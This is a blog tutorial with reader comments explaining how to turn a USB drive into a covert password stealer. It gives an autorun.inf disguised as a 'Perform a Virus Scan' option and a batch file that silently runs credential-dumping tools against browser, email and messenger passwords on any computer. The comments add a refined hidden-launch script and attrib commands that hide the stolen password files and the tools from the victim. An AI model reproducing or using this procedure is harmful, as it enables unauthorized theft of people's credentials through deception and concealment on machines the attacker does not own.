How to Hack Passwords Using An USB Drive

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE ,chrome and Firefox. There exists many tools for recovering these passwords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff /hack passwords from any computer.

Things We Need
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.

MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.

Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…

IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0

PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

ChromePass : It is a small password recovery tool for Windows that allows you to view the user names and passwords stored by Google Chrome Web browser. For each password entry, the following information is displayed: Origin URL, Action URL, User Name Field, Password Field, User Name, Password, and Created Time. You can select one or more items and then save them into text/html/xml file or copy them to the clipboard.

How to Hack Passwords Using An USB Drive

1. After downloading  all the tools, from the above link extract and copy all the executable(.exe files) which is inside the "USB pass hack" folder  into your USB- Pendrive.

2. Now open a Notepad and write the following text into it

ACTION= Perform a Virus Scan

save the Notepad and rename it from New Text Document.txt to autorun.inf ,Now copy the autorun.inf file onto your USB pen drive.

3. Now open an another Notepad and copy  the following text onto it.

start mspass.exe /stext mspass.txt

start mailpv.exe /stext mailpv.txt

start iepv.exe /stext iepv.txt

start pspv.exe /stext pspv.txt

start passwordfox.exe /stext passwordfox.txt

start ChromePass.exe /stext chrome.txt

Now save the file as launch.bat ,Copy the launch.bat file also to your USB drive.

Now your rootkit is ready and you are all set to sniff /hack the passwords. You can use this pen-drive on any computer to sniff the stored passwords. Just follow the steps given below

1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).

2. In the pop-up window, select the first option (Perform a Virus Scan).

3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.

4. Remove the pendrive and you’ll see the stored passwords in the .TXT files. as  shown ,open the files to view the stored passwords

This hack works on Windows 2000, XP, Vista and Windows 7

NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

If you have any doubts regarding the hack please pass your comments for further doubts and clarifications

John ( Admin ) said on July 1, 2011 at 9:24 AM :

It sniffed all the passwords on my computer (Windows XP Desktop) perfect.
I then tried to use it on another computer (windows XP Laptop). It did the autorun came up with run virus scan hit that and then as each exe file ran it would give me a line below each that said access denied.

Ex: G:\>start mpass.exe /stext mspass.txt
Access is denied.

G:\>start mailpv.exe /stext mailpv.txt
Access is denied.

and so on

Hey what is the password for that encrypted files?When I opened that,it asked for a password.What is that?

John ( Admin ) said on November 6, 2011 at 4:59 AM :


i guess u dint read it properly i have given the link to download the password any way heres the link


Good work...But I need solution for 2 issues:

1. The command prompt did not run in the background so how to make it run in the background without being visible.

2. I do not want the *.txt files that contain the retrieved passwords to be visible either(the should be in hidden mode).

John, thanks for this nice tutorial.

One thing I noticed is that if you run this twice, the files are overwritten rather than appended; therefore, I modified the autorun and batch files to make it easier for those wanting to quickly and easily sniff the passwords from multiple computers. Additionally, I've also made it so that the date and computer/username are displayed before each password dump.

Here are the autorun.inf contents:

shellexecute=cmd /c start /min launch.bat

And here's the contents of launch.bat:

@echo off

(echo Date: %date% %time% && echo User: \\%computername%\%username%) >> mspass.txt
(echo Date: %date% %time% && echo User: \\%computername%\%username%) >> mailpv.txt
(echo Date: %date% %time% && echo User: \\%computername%\%username%) >> iepv.txt
(echo Date: %date% %time% && echo User: \\%computername%\%username%) >> pspv.txt
(echo Date: %date% %time% && echo User: \\%computername%\%username%) >> passwordfox.txt
(echo Date: %date% %time% && echo User: \\%computername%\%username%) >> chrome.txt

start mspass.exe /stext mspass2.txt
start mailpv.exe /stext mailpv2.txt
start iepv.exe /stext iepv2.txt
start pspv.exe /stext pspv2.txt
start passwordfox.exe /stext passwordfox2.txt
start ChromePass.exe /stext chrome2.txt

ping -n 1 -w 5000 > NUL

copy mspass.txt+mspass2.txt
copy mailpv.txt+mailpv2.txt
copy iepv.txt+iepv2.txt
copy pspv.txt+pspv2.txt
copy passwordfox.txt+passwordfox2.txt
copy chrome.txt+chrome2.txt

DEL /F /Q mspass2.txt
DEL /F /Q mailpv2.txt
DEL /F /Q iepv2.txt
DEL /F /Q pspv2.txt
DEL /F /Q passwordfox2.txt
DEL /F /Q chrome2.txt


In response to Anonymous, whose comment is directly before mine, if you change your autorun.inf file to what I've written above, that ought to take care of your visibility issue. As for making the *.txt files hidden, simply append the following to the end of launch.bat in John's code or immediately before "exit" in my above commands:

attrib +h mspass.txt
attrib +h mailpv.txt
attrib +h iepv.txt
attrib +h pspv.txt
attrib +h passwordfox.txt
attrib +h chrome.txt

However, if you are going to make the *.txt files hidden, I'd also recommend that you make the autorun.inf file as well as all the *.exe files hidden, or better yet hidden system files (to make them hidden system files, instead of only typing "+h" type "+h +s"). Or better yet, make them cleverly named hidden system files in an equally cleverly named sub-directory (but just make sure to keep autorun.inf in the root directory with the same name).
